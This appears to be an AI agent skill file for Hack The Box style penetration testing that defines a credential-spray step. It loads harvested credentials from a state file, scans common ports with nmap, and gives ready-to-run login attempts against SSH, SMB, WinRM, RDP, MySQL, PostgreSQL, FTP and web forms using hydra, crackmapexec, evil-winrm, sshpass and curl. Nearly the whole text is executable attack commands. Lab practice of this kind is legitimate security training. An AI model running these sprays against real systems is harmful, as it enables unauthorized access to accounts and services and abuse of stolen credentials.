bb-spray

Credential Spray

Purpose

Tests discovered credentials against all identified services. Uses credentials from the state file or accepts manual input.

Workflow

Step 1: Load Credentials

Check state file for discovered credentials:

# Read from state file
cat .claude/blackbox-htb.local.md | grep -A 20 "## Credentials"

Or use provided credentials:

• Username: {{user}}
• Password: {{pass}}
• Target: {{target}}

Step 2: Identify Services

Check which services are available for testing:

# From state file or nmap results
TARGET="{{target}}"

# Quick service check
nmap -p 22,445,5985,3389,3306,5432,21,23 -sV --open $TARGET

Step 3: Spray Credentials

SSH (Port 22)

# Using sshpass
sshpass -p 'PASSWORD' ssh -o StrictHostKeyChecking=no -o ConnectTimeout=5 USER@TARGET

# Using hydra
hydra -l USER -p PASSWORD ssh://TARGET

# Using crackmapexec
crackmapexec ssh TARGET -u USER -p 'PASSWORD'

SMB (Port 445)

# CrackMapExec
crackmapexec smb TARGET -u USER -p 'PASSWORD'

# Check shares
smbmap -H TARGET -u USER -p 'PASSWORD'

# Access share
smbclient //TARGET/SHARE -U 'USER%PASSWORD'

WinRM (Port 5985)

# CrackMapExec
crackmapexec winrm TARGET -u USER -p 'PASSWORD'

# Evil-WinRM
evil-winrm -i TARGET -u USER -p 'PASSWORD'

RDP (Port 3389)

# xfreerdp
xfreerdp /v:TARGET /u:USER /p:PASSWORD /cert-ignore

# CrackMapExec
crackmapexec rdp TARGET -u USER -p 'PASSWORD'

MySQL (Port 3306)

mysql -h TARGET -u USER -p'PASSWORD' -e "SELECT 1;"

PostgreSQL (Port 5432)

PGPASSWORD='PASSWORD' psql -h TARGET -U USER -c "SELECT 1;"

FTP (Port 21)

# Using lftp
lftp -u USER,PASSWORD TARGET -e "ls; quit"

# Using ftp
echo -e "USER\nPASSWORD\nls\nquit" | ftp -n TARGET

Web Login (HTTP)

# Form-based login
curl -X POST http://TARGET/login \
    -d "username=USER&password=PASSWORD" \
    -c cookies.txt -b cookies.txt -L

# Basic auth
curl -u USER:PASSWORD http://TARGET/admin/